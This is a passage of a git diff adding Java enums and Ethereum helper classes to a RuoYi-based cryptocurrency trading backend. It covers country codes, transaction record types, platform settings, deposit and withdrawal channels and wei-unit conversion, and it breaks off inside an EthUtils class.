"249"), + SURINAME("Suriname", "苏里南", "SR", "597"), + SWAZILAND("Swaziland", "斯威士兰", "SZ", "268"), + SWEDEN("Sweden", "瑞典", "SE", "46"), + SWITZERLAND("Switzerland", "瑞士", "CH", "41"), + SYRIA("Syria", "叙利亚", "SY", "963"), + TAIWAN("Taiwan", "中国台湾", "TW", "886"), + TAJIKISTAN("Tajikistan", "塔吉克斯坦", "TJ", "992"), + TANZANIA("Tanzania", "坦桑尼亚", "TZ", "255"), + THAILAND("Thailand", "泰国", "TH", "66"), + TIMOR_LESTE("Timor-Leste", "东帝汶", "TL", "670"), + UNITED_ARAB_EMIRATES("United Arab Emirates", "阿拉伯联合酋长国", "AE", "971"), + TOGO("Togo", "多哥", "TG", "228"), + TOKELAU_IS("Tokelau Is.", "托克劳群岛(新)", "TK", "690"), + TONGA("Tonga", "汤加", "TO", "676"), + TRINIDAD_AND_TOBAGO("Trinidad and Tobago", "特立尼达和多巴哥", "TT", "1868"), + TUNISIA("Tunisia", "突尼斯", "TN", "216"), + TURKEY("Turkey", "土耳其", "TR", "90"), + TURKMENISTAN("Turkmenistan", "土库曼斯坦", "TM", "993"), + TURKS_AND_CAICOS_ISLANDS("Turks and Caicos Islands", "特克斯和凯科斯群岛", "TC", "1649"), + TUVALU("Tuvalu", "图瓦卢", "TK", "688"), + UNITED_STATES("United States", "美国", "US", "1"), + UGANDA("Uganda", "乌干达", "UG", "256"), + UKRAINE("Ukraine", "乌克兰", "UA", "380"), + UNITED_KINGDOM("United Kingdom", "英国", "GB", "44"), + URUGUAY("Uruguay", "乌拉圭", "UY", "598"), + UZBEKISTAN("Uzbekistan", "乌兹别克斯坦", "UZ", "998"), + VANUATU("Vanuatu", "瓦努阿图", "VU", "678"), + VENEZUELA("Venezuela", "委内瑞拉", "VE", "58"), + VIETNAM("Vietnam", "越南", "VN", "84"), + VIRGIN_ISLANDS_BRITISH("Virgin Islands, British", "英属处女群岛", "VG", "1340"), + VIRGIN_ISLANDS_US("Virgin Islands, US", "美属维尔京群岛", "VI", "1284"), + WAKE_I("Wake I.", "威克岛(美)", "UM", "1808"), + YEMEN("Yemen", "也门", "YE", "967"), + ZAMBIA("Zambia", "赞比亚", "ZM", "260"), + ZANZIBAR("Zanzibar", "桑给巴尔", "TZ", "259"), + ZIMBABWE("Zimbabwe", "津巴布韦", "ZW", "263"), + ; + private String englishName; + private String chineseName; + private String countryCode; + private String phoneCode; + + + public static List getJsonArray() { + StringBuilder str = new StringBuilder(); + str.append("["); + for (CountryCodeAndPhoneCodeEnum anEnum : CountryCodeAndPhoneCodeEnum.values()) { + str.append("{") + .append("\"englishName\":\"" + anEnum.getEnglishName() + "\",") + .append("\"chineseName\":\"" + anEnum.getChineseName() + "\",") + .append("\"countryCode\":\"" + anEnum.getCountryCode() + "\",") + .append("\"phoneCode\":\"" + anEnum.getPhoneCode() + "\"") + .append("},"); + } + str.deleteCharAt(str.length() - 1); + str.append("]"); + JSONArray jsonArr = JSONUtil.parseArray(str.toString()); + List maps = jsonArr.toList(Map.class); + + ArrayList result = countrySort(maps); + return result; + } + + private static ArrayList countrySort(List maps) { + ArrayList result = new ArrayList(); + for (char c = 'A'; c <= 'Z'; ++c) { + List data = new ArrayList<>(); + for (Map map : maps) { + Set> set = map.entrySet(); + + for (Map.Entry entry : set) { + String key = entry.getKey(); + if ("englishName".equals(key)) { + String value = entry.getValue(); + String s = ChineseCharacterUtil.convertHanzi2Pinyin(value, false); + if ((c + "").equalsIgnoreCase(s.charAt(0) + "")) { + data.add(map); + } + } + } + } + + if (data.size() > 0) { + Map item = new HashMap<>(); + item.put("letter", c + ""); + item.put("data", data); + + result.add(item); + } + } + return result; + } + + } \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/DataSourceType.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/DataSourceType.java new file mode 100644 index 0000000..0d945be --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/DataSourceType.java @@ -0,0 +1,19 @@ +package com.ruoyi.common.enums; + +/** + * 数据源 + * + * @author ruoyi + */ +public enum DataSourceType +{ + /** + * 主库 + */ + MASTER, + + /** + * 从库 + */ + SLAVE +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/HttpMethod.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/HttpMethod.java new file mode 100644 index 0000000..be6f739 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/HttpMethod.java @@ -0,0 +1,36 @@ +package com.ruoyi.common.enums; + +import java.util.HashMap; +import java.util.Map; +import org.springframework.lang.Nullable; + +/** + * 请求方式 + * + * @author ruoyi + */ +public enum HttpMethod +{ + GET, HEAD, POST, PUT, PATCH, DELETE, OPTIONS, TRACE; + + private static final Map mappings = new HashMap<>(16); + + static + { + for (HttpMethod httpMethod : values()) + { + mappings.put(httpMethod.name(), httpMethod); + } + } + + @Nullable + public static HttpMethod resolve(@Nullable String method) + { + return (method != null ? mappings.get(method) : null); + } + + public boolean matches(String method) + { + return (this == resolve(method)); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/LimitType.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/LimitType.java new file mode 100644 index 0000000..c609fd8 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/LimitType.java @@ -0,0 +1,20 @@ +package com.ruoyi.common.enums; + +/** + * 限流类型 + * + * @author ruoyi + */ + +public enum LimitType +{ + /** + * 默认策略全局限流 + */ + DEFAULT, + + /** + * 根据请求者IP进行限流 + */ + IP +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/LoginOrRegisterEnum.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/LoginOrRegisterEnum.java new file mode 100644 index 0000000..dc24ddf --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/LoginOrRegisterEnum.java @@ -0,0 +1,45 @@ +package com.ruoyi.common.enums; + +public enum LoginOrRegisterEnum { + + /** + * 地址登录注册 + */ + ADDRESS("0","地址登录"), + + /** + * 邮箱登录注册 + */ + EMAIL("1","邮箱登录"), + + /** + * 手机号登录注册 + */ + PHONE("2","手机号登录"), + + /** + * 普通登录注册 + */ + LOGIN("3","普通登录"), + + + ; + private String code; + + private String desc; + + public String getCode() + { + return code; + } + + public String getInfo() + { + return desc; + } + + LoginOrRegisterEnum(String code,String desc){ + this.code = code; + this.desc = desc; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/NoticeTypeEnum.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/NoticeTypeEnum.java new file mode 100644 index 0000000..2ba33d5 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/NoticeTypeEnum.java @@ -0,0 +1,127 @@ +package com.ruoyi.common.enums; + + +import java.util.*; +import java.util.stream.Collectors; + +/** + * 公告管理枚举 + * + */ +public enum NoticeTypeEnum { + INFORMATION_NOTICE("1","公告信息"), + ACTIVITY_NOTICE("2","活动公告"), + ROLL_NOTICE("3","首页滚动公告"), + POP_UPS_NOTICE("4","弹窗公告"), + REGISTER_WELFARE("5","注册福利"); +// WHITE_PAPER("4","白皮书"); + + + NoticeTypeEnum(String code, String value) { + this.code = code; + this.value = value; + } + + private String code; + private String value; + + public String getCode() { + return code; + } + + public void setCode(String code) { + this.code = code; + } + + public String getValue() { + return value; + } + + public void setValue(String value) { + this.value = value; + } + + /** + * 公告管理二级 + */ + public enum ChildrenEnum { + /** + * 公告信息二级 + */ + LINK_INFORMATION("1","链接弹窗",NoticeTypeEnum.INFORMATION_NOTICE), + TEXT_INFORMATION("2","图文弹窗",NoticeTypeEnum.INFORMATION_NOTICE), + /** + * 活动公告二级 + */ + HOME_ACTIVITY("1","首页轮播活动",NoticeTypeEnum.ACTIVITY_NOTICE), + MINING_ACTIVITY("2","Defi挖矿活动图",NoticeTypeEnum.ACTIVITY_NOTICE), + FINANCE_ACTIVITY("3","理财活动图",NoticeTypeEnum.ACTIVITY_NOTICE), + POP_UPS_NOTICE("4","首页弹窗公告图",NoticeTypeEnum.POP_UPS_NOTICE), + DEFI_POP_UPS_NOTICE("5","DEFI弹窗公告图",NoticeTypeEnum.POP_UPS_NOTICE), + REGISTER_WELFARE_NOTICE("6","新手注册活动",NoticeTypeEnum.REGISTER_WELFARE); + + private String code; + private String value; + private NoticeTypeEnum prent; + + ChildrenEnum(String code, String value, NoticeTypeEnum prent) { + this.code = code; + this.value = value; + this.prent = prent; + } + + public String getCode() { + return code; + } + + public void setCode(String code) { + this.code = code; + } + + public String getValue() { + return value; + } + + public void setValue(String value) { + this.value = value; + } + + public NoticeTypeEnum getPrent() { + return prent; + } + + public void setPrent(NoticeTypeEnum prent) { + this.prent = prent; + } + + public static List> getChildrenEnum(NoticeTypeEnum parent) { + ChildrenEnum[] values = ChildrenEnum.values(); + List> list = new ArrayList<>(); + for (ChildrenEnum noticeType :values) { + if (noticeType.getPrent().equals(parent)){ + Map resultMap = new HashMap<>(); + resultMap.put("key",noticeType.name()); + resultMap.put("code",noticeType.getCode()); + resultMap.put("value",noticeType.getValue()); + list.add(resultMap); + } + } + return list; + } + + } + + public static List> getEnum(){ + NoticeTypeEnum[] values = NoticeTypeEnum.values(); + List> list = new ArrayList<>(); + for (NoticeTypeEnum noticeType :values) { + Map resultMap = new HashMap<>(); + resultMap.put("key",noticeType.name()); + resultMap.put("code",noticeType.getCode()); + resultMap.put("value",noticeType.getValue()); + resultMap.put("obj",ChildrenEnum.getChildrenEnum(noticeType)); + list.add(resultMap); + } + return list; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/OperatorType.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/OperatorType.java new file mode 100644 index 0000000..bdd143c --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/OperatorType.java @@ -0,0 +1,24 @@ +package com.ruoyi.common.enums; + +/** + * 操作人类别 + * + * @author ruoyi + */ +public enum OperatorType +{ + /** + * 其它 + */ + OTHER, + + /** + * 后台用户 + */ + MANAGE, + + /** + * 手机端用户 + */ + MOBILE +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/OptionRulesEnum.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/OptionRulesEnum.java new file mode 100644 index 0000000..3f40ba4 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/OptionRulesEnum.java @@ -0,0 +1,64 @@ +package com.ruoyi.common.enums; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +/** + * 前台文本类型 + */ +public enum OptionRulesEnum { + + PERIOD_EXPLAIN(1,"秒合约说明"), + COIN_EXPLAIN(2,"币币交易说明"), + U_STANDARD_EXPLAIN(4,"U本位合约说明"), + DEFI_EXPLAIN(9,"DEFI挖矿说明"), + PLEDGE_EXPLAIN(10,"质押挖矿说明"), + FINANCIAL_AGREEMENT(8,"理财协议"), + LOANS_RULE(7,"贷款规则"), + AGENCY_ACTIVITY(3,"代理活动"), + PROMOTION_CENTER_EXPLAIN(11,"推广中心"), + TERMS_CLAUSE(0,"服务条款"), + REGISTRY_PRIVACY(5,"注册隐私政策"), + REGISTRY_CLAUSE(6,"注册使用条款"); + + + + OptionRulesEnum(Integer code, String value) { + this.code = code; + this.value = value; + } + + private Integer code; + private String value; + + public Integer getCode() { + return code; + } + + public void setCode(Integer code) { + this.code = code; + } + + public String getValue() { + return value; + } + + public void setValue(String value) { + this.value = value; + } + + public static List> getEnum(){ + OptionRulesEnum[] values = OptionRulesEnum.values(); + List> list = new ArrayList<>(); + for (OptionRulesEnum optionRules :values) { + Map resultMap = new HashMap<>(); + resultMap.put("key",optionRules.name()); +// resultMap.put("code",optionRules.getCode()); + resultMap.put("value",optionRules.getValue()); + list.add(resultMap); + } + return list; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/OssEnum.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/OssEnum.java new file mode 100644 index 0000000..879ede6 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/OssEnum.java @@ -0,0 +1,15 @@ +package com.ruoyi.common.enums; + +/** + * OssEnum + * + * @author Chopper + * @version v1.0 + * 2022-06-06 11:23 + */ +public enum OssEnum { + /** + * + */ + ALI_OSS, MINIO; +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/RechargeTypeUncEmun.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/RechargeTypeUncEmun.java new file mode 100644 index 0000000..5e8bc87 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/RechargeTypeUncEmun.java @@ -0,0 +1,40 @@ +package com.ruoyi.common.enums; + +import java.util.Arrays; + +public enum RechargeTypeUncEmun { + USDTERC("USDT-ERC","60"), + USDTTRC("USDT-TRC","195"), + ETH("ETH","60"), + BTC("BTC","0"), + TRX("TRX","195"), + USDCERC("USDC-ERC","60"), + USDC("USDC","60"); + + RechargeTypeUncEmun(String code, String value) { + this.code = code; + this.value = value; + } + private String code; + private String value; + + public String getCode() { + return code; + } + + public String getValue() { + return value; + } + + public static String getValue(String code) { + RechargeTypeUncEmun[] betResult= RechargeTypeUncEmun.values(); + RechargeTypeUncEmun result = Arrays.asList(betResult).stream() + .filter(i -> i.getCode().equals(code)) + .findFirst().orElse(null); + if(result==null){ + return null; + } + return result.getValue(); + } + +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/RecoenOrderStatusEmun.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/RecoenOrderStatusEmun.java new file mode 100644 index 0000000..a81c4fe --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/RecoenOrderStatusEmun.java @@ -0,0 +1,22 @@ +package com.ruoyi.common.enums; + +public enum RecoenOrderStatusEmun { + audit("0","待审核"), + pass("1","通过"), + failed("2","不通过"); + + RecoenOrderStatusEmun(String code, String value) { + this.code = code; + this.value = value; + } + private String code; + private String value; + + public String getCode() { + return code; + } + + public String getValue() { + return value; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/RecordEnum.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/RecordEnum.java new file mode 100644 index 0000000..0940da2 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/RecordEnum.java @@ -0,0 +1,82 @@ +package com.ruoyi.common.enums; + +import java.util.Arrays; +import java.util.LinkedHashMap; + +public enum RecordEnum { + RECHARGE(1, "充值+"), + WITHDRAW(2, "提现-"), + SEND_BONUS(3, "赠送彩金+"), + SUB_BONUS(50, "扣减彩金-"), + SUB_AMOUNT(4, "人工下分-"), + SEND_AMOUNT(51, "人工上分+"), +/* BTC_MANUAL_SCORING(16, "BTC人工上分+"), + BTC_MANUAL_SUBDIVISION(17, "BTC人工下分-"), + ETH_MANUAL_SCORING(18, "ETH人工上分+"), + ETH_MANUAL_SUBDIVISION(19, "ETH人工下分-"),*/ + OPTION_BETTING(5, "秒合约下注-"), + FINANCIAL_PURCHASE(6, "理财购买-"), + FINANCIAL_SETTLEMENT(7, "理财结算+"), + WITHDRAWAL_FAILED(8, "提现失败+"), + OPTION_SETTLEMENT(9, "秒合约结算+"), + CURRENCY_EXCHANGE_ADD(10, "币种兑换+"), + CURRENCY_CONVERSION_SUB(11, "币种兑换-"), + MINING_TO_BUY(12, "挖矿购买"), + MINING_REBATE(13, "挖矿返息"), + MINING_REDEMPTION(14, "挖矿赎回"), + MINING_SETTLEMENT(15, "挖矿结算"), + NON_STAKING_MINING_INCOME(20, "矿池收益"), + CURRENCY_TRADINGADD(21, "币币交易+"), + CURRENCY_TRADINGSUB(22, "币币交易-"), + ASSET_ACCOUNTADD(23, "资产账户+"), + ASSET_ACCOUNTSUB(24, "资产账户-"), + TRANSACTION_ACCOUNTADD(25, "交易账户+"), + TRANSACTION_ACCOUNTSUB(26, "交易账户-"), + CONTRACT_TRANSACTIONSUB(27, "合约交易-"), + CONTRACT_TRANSACTION_CLOSING(28, "合约交易平仓"), + CONTRACT_TRADING_ADJUSTMENT_MARGIN(29, "合约交易调整保证金"), + CONTRACT_TRADING_LIQUIDATION(30, "合约交易强平"), + AIRDROP_EVENT_REWARDS(31, "空投活动奖励"), + SUBORDINATE_RECHARGE_REBATE(32, "下级充值返利"), + SUBORDINATE_MINING_REBATE(33, "下级挖矿返利"), + FINANCIAL_REBATE(34, "下级理财返利"), + FUND_TRANSFER(35, "资金划转"), + DEFI_ACTIVITY(36, "空投活动"), + DEFI_ORDER(37, "defi挖矿"), + LOAD_ORDER(38, "助力贷"), + OWN_COIN_BUY(52, "新币申购"), + CONTRACT_ADD(53,"追加合约本金"), + CONTRACT_ADD_AMOUT(54,"追加保证金"), + FINANCIAL_REDEMPTION(55, "理财赎回"), + ; + private final Integer code; + private final String desc; + + RecordEnum(Integer code, String info) { + this.code = code; + this.desc = info; + } + + public Integer getCode() { + return code; + } + + public String getInfo() { + return desc; + } + + + public static LinkedHashMap getMap() { + LinkedHashMap map = new LinkedHashMap<>(); + Arrays.stream(RecordEnum.values()).forEach(recordEnum -> { + map.put(recordEnum.getCode(), recordEnum.getInfo()); + }); + return map; + + } + + public static void main(String[] args) { + LinkedHashMap map = getMap(); + System.out.println(map); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/SettingEnum.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/SettingEnum.java new file mode 100644 index 0000000..c3c8ae4 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/SettingEnum.java @@ -0,0 +1,79 @@ +package com.ruoyi.common.enums; + +/** + * 系统设置常量 + * + * @author Chopper + * @since 2020/9/11 17:03 + */ +public enum SettingEnum { + //基础配置 + BASE_SETTING, + //邮箱配置 + EMAIL_SETTING, + //阿里OSS配置 + OSS_SETTING, + //短信配置 + SMS_SETTING, + //IM 配置 + IM_SETTING, + //充值通道配置 + ASSET_COIN, + //登录注册 开关 + LOGIN_REGIS_SETTING, + //market 地址 + MARKET_URL, + //侧边栏 + APP_SIDEBAR_SETTING, + //贷款配置 + LOAD_SETTING, + //提现通道配置 + WITHDRAWAL_CHANNEL_SETTING, + //理财结算配置 + FINANCIAL_SETTLEMENT_SETTING, + //平台设置 + PLATFORM_SETTING, + //后台ip控制 + WHITE_IP_SETTING, + //客服设置 + SUPPORT_STAFF_SETTING, + //充值返佣 + RECHARGE_REBATE_SETTING, + //理财返佣 + FINANCIAL_REBATE_SETTING, + //挖框结算 + MING_SETTLEMENT_SETTING, + //冲提语音包配置 + WITHDRAWAL_RECHARGE_VOICE, + //白皮书 + WHITE_PAPER_SETTING, + //defi挖矿收益配置 + DEFI_INCOME_SETTING, + //玩法配置 + PLAYING_SETTING, + //头部Tab平台 理财 合约 + TAB_SETTING, + //底部菜单 + BOTTOM_MENU_SETTING, + //金刚区 + MIDDLE_MENU_SETTING, + //logo配置 + LOGO_SETTING, + //首页币种配置 + HOME_COIN_SETTING, + //下载地址配置 + DOWNLOAD_SETTING, + //TG机器人配置 + TG_BOT_SETTING, + //提现实名限额 + AUTH_LIMIT, + //三方充提配置 + THIRD_CHANNL, + //vip等级配置 + VIP_LEVEL_SETTING, + //vip 说明 + VIP_DIRECTIONS_SETTING, + + ADD_MOSAIC_SETTING, + ; +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/ThirdTypeUncEmun.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/ThirdTypeUncEmun.java new file mode 100644 index 0000000..e64ce00 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/ThirdTypeUncEmun.java @@ -0,0 +1,37 @@ +package com.ruoyi.common.enums; + +import java.util.Arrays; + +/** + * 三方充值 + */ +public enum ThirdTypeUncEmun { + UNCDUN("U盾","301"); + + ThirdTypeUncEmun(String code, String value) { + this.code = code; + this.value = value; + } + private String code; + private String value; + + public String getCode() { + return code; + } + + public String getValue() { + return value; + } + + public static String getValue(String code) { + ThirdTypeUncEmun[] betResult= ThirdTypeUncEmun.values(); + ThirdTypeUncEmun result = Arrays.asList(betResult).stream() + .filter(i -> i.getCode().equals(code)) + .findFirst().orElse(null); + if(result==null){ + return null; + } + return result.getValue(); + } + +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/UserBlackEnum.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/UserBlackEnum.java new file mode 100644 index 0000000..3bfe8aa --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/UserBlackEnum.java @@ -0,0 +1,37 @@ +package com.ruoyi.common.enums; + +/** + * 黑名单 + */ +public enum UserBlackEnum { + + + /** + * 正常用户 + */ + NORMAL(1,"正常用户"), + + /** + * 拉黑用户 + */ + BLOCK(2,"拉黑用户"), + + + ; + private Integer code; + + private String value; + + public Integer getCode() { + return code; + } + + public String getValue() { + return value; + } + + UserBlackEnum(Integer code, String value){ + this.code = code; + this.value = value; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/UserCodeTypeEnum.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/UserCodeTypeEnum.java new file mode 100644 index 0000000..e93a339 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/UserCodeTypeEnum.java @@ -0,0 +1,38 @@ +package com.ruoyi.common.enums; + +public enum UserCodeTypeEnum { + + + /** + * 登录 + */ + LOGIN, + + /** + * 注册 + */ + REGISTER, + + /** + * 找回用户 + */ + FIND_USER , + /** + * 找回用户 + */ + FIND_PASSWORD , + /** + * 修改密码 + */ + UPD_PASSWORD, + + /** + * 绑定 + */ + BIND, + /** + * 提现 + */ + WITHDRAW, + ; +} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/UserStatus.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/UserStatus.java new file mode 100644 index 0000000..d7ff44a --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/UserStatus.java @@ -0,0 +1,30 @@ +package com.ruoyi.common.enums; + +/** + * 用户状态 + * + * @author ruoyi + */ +public enum UserStatus +{ + OK("0", "正常"), DISABLE("1", "停用"), DELETED("2", "删除"); + + private final String code; + private final String info; + + UserStatus(String code, String info) + { + this.code = code; + this.info = info; + } + + public String getCode() + { + return code; + } + + public String getInfo() + { + return info; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/WalletType.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/WalletType.java new file mode 100644 index 0000000..f17c0d1 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/WalletType.java @@ -0,0 +1,18 @@ +package com.ruoyi.common.enums; + +public enum WalletType { + ETH("以太坊"), + TRON("波场"); + + private final String desc; + + WalletType(String desc) { + this.desc = desc; + } + + public String getDesc() + { + return desc; + } + +} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/WithdrawTypeUncEmun.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/WithdrawTypeUncEmun.java new file mode 100644 index 0000000..66d825e --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/WithdrawTypeUncEmun.java @@ -0,0 +1,37 @@ +package com.ruoyi.common.enums; + +import java.util.Arrays; + +public enum WithdrawTypeUncEmun { + USDTERC("USDT-ERC","USDT-ERC20"), + USDTTRC("USDT-TRC","USDT-TRC20"), + ETH("ETH","ETH"), + BTC("BTC","BTC"); + + WithdrawTypeUncEmun(String code, String value) { + this.code = code; + this.value = value; + } + private String code; + private String value; + + public String getCode() { + return code; + } + + public String getValue() { + return value; + } + + public static String getValue(String code) { + WithdrawTypeUncEmun[] betResult= WithdrawTypeUncEmun.values(); + WithdrawTypeUncEmun result = Arrays.asList(betResult).stream() + .filter(i -> i.getCode().equals(code)) + .findFirst().orElse(null); + if(result==null){ + return null; + } + return result.getValue(); + } + +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/eth/Account.java b/ruoyi-common/src/main/java/com/ruoyi/common/eth/Account.java new file mode 100644 index 0000000..7dcc26a --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/eth/Account.java @@ -0,0 +1,18 @@ +package com.ruoyi.common.eth; + +import lombok.Data; + +import java.math.BigDecimal; + +@Data +public class Account { + private String prefix; + private String account; + private String address; + private String pKey; + //私钥路径 + private String walletFile; + private BigDecimal balance = BigDecimal.ZERO; + //地址燃料余额,对Token,USDT有用 + private BigDecimal gas = BigDecimal.ZERO; +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/eth/Contract.java b/ruoyi-common/src/main/java/com/ruoyi/common/eth/Contract.java new file mode 100644 index 0000000..243df11 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/eth/Contract.java @@ -0,0 +1,20 @@ +package com.ruoyi.common.eth; + +import lombok.Data; +import org.apache.commons.lang3.StringUtils; + +import java.math.BigInteger; + +@Data +public class Contract { + //合约精度 + private String decimals; + //合约地址 + private String address; + private BigInteger gasLimit; + private String eventTopic0; + public EthConvert.Unit getUnit(){ + if(StringUtils.isEmpty(decimals))return EthConvert.Unit.ETHER; + else return EthConvert.Unit.fromString(decimals); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/eth/ContractConfig.java b/ruoyi-common/src/main/java/com/ruoyi/common/eth/ContractConfig.java new file mode 100644 index 0000000..7f3e033 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/eth/ContractConfig.java @@ -0,0 +1,21 @@ +package com.ruoyi.common.eth; + +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +/** + * 自动配置合约参数 + */ +@Configuration +@ConditionalOnProperty(name="contract.address") +public class ContractConfig { + + @Bean + @ConfigurationProperties(prefix = "contract") + public Contract getContract(){ + return new Contract(); + } + +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/eth/EthConvert.java b/ruoyi-common/src/main/java/com/ruoyi/common/eth/EthConvert.java new file mode 100644 index 0000000..cfb4cbb --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/eth/EthConvert.java @@ -0,0 +1,66 @@ +package com.ruoyi.common.eth; + +import java.math.BigDecimal; + +public class EthConvert { + private EthConvert() { } + + public static BigDecimal fromWei(String number, Unit unit) { + return fromWei(new BigDecimal(number), unit); + } + + public static BigDecimal fromWei(BigDecimal number, Unit unit) { + return number.divide(unit.getWeiFactor()); + } + + public static BigDecimal toWei(String number, Unit unit) { + return toWei(new BigDecimal(number), unit); + } + + public static BigDecimal toWei(BigDecimal number, Unit unit) { + return number.multiply(unit.getWeiFactor()); + } + + public enum Unit { + WEI("wei", 0), + KWEI("kwei", 3), + WWEI("wwei", 4), + MWEI("mwei", 6), + LWEI("lwei", 8), + GWEI("gwei", 9), + SZABO("szabo", 12), + FINNEY("finney", 15), + ETHER("ether", 18), + KETHER("kether", 21), + METHER("mether", 24), + GETHER("gether", 27); + + private String name; + private BigDecimal weiFactor; + + Unit(String name, int factor) { + this.name = name; + this.weiFactor = BigDecimal.TEN.pow(factor); + } + + public BigDecimal getWeiFactor() { + return weiFactor; + } + + @Override + public String toString() { + return name; + } + + public static Unit fromString(String name) { + if (name != null) { + for (Unit unit : Unit.values()) { + if (name.equalsIgnoreCase(unit.name)) { + return unit; + } + } + } + return Unit.valueOf(name); + } + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/eth/EthUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/eth/EthUtils.java new file mode 100644 index 0000000..b44781f --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/eth/EthUtils.java @@ -0,0 +1,541 @@ +package com.ruoyi.common.eth; + + +import cn.hutool.http.HttpUtil; + +import com.alibaba.fastjson2.JSONObject; +import com.fasterxml.jackson.databind.ObjectMapper; + +import com.google.gson.Gson; +import com.ruoyi.common.trc.TransactionResult; +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.core.io.ClassPathResource; +import org.springframework.stereotype.Component; +import org.web3j.abi.FunctionEncoder; +import org.web3j.abi.FunctionReturnDecoder; +import org.web3j.abi.TypeReference; +import org.web3j.abi.datatypes.Address; +import org.web3j.abi.datatypes.Function; +import org.web3j.abi.datatypes.Type; +import org.web3j.abi.datatypes.generated.Uint256; +import org.web3j.crypto.*; +import org.web3j.protocol.ObjectMapperFactory; +import org.web3j.protocol.Web3j; +import org.web3j.protocol.core.DefaultBlockParameterName; +import org.web3j.protocol.core.Request; +import org.web3j.protocol.core.methods.request.Transaction; +import org.web3j.protocol.core.methods.response.*; +import org.web3j.protocol.http.HttpService; +import org.web3j.tx.gas.DefaultGasProvider; +import org.web3j.utils.Convert; +import org.web3j.utils.Numeric; + +import java.io.*; +import java.math.BigDecimal; +import java.math.BigInteger; +import java.math.RoundingMode; +import java.net.ConnectException; +import java.security.InvalidAlgorithmParameterException; +import java.security.NoSuchAlgorithmException; +import java.security.NoSuchProviderException; +import java.util.*; +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.ExecutionException; + +@Component +public class EthUtils { + + private static String apiKey; + + @Value("${api.key}") + public void setApiKey(String apiKeys) { + apiKey = apiKeys; + } + + private static String ethKey; + + @Value("${api.eth.key}") + public void setEthKey(String ethKey1) { + ethKey = ethKey1; + } + + private static String web3jUrl; + @Value("${web3j.url}") + public void setWeb3jUrl(String web3jUrls) { + web3jUrl = web3jUrls; 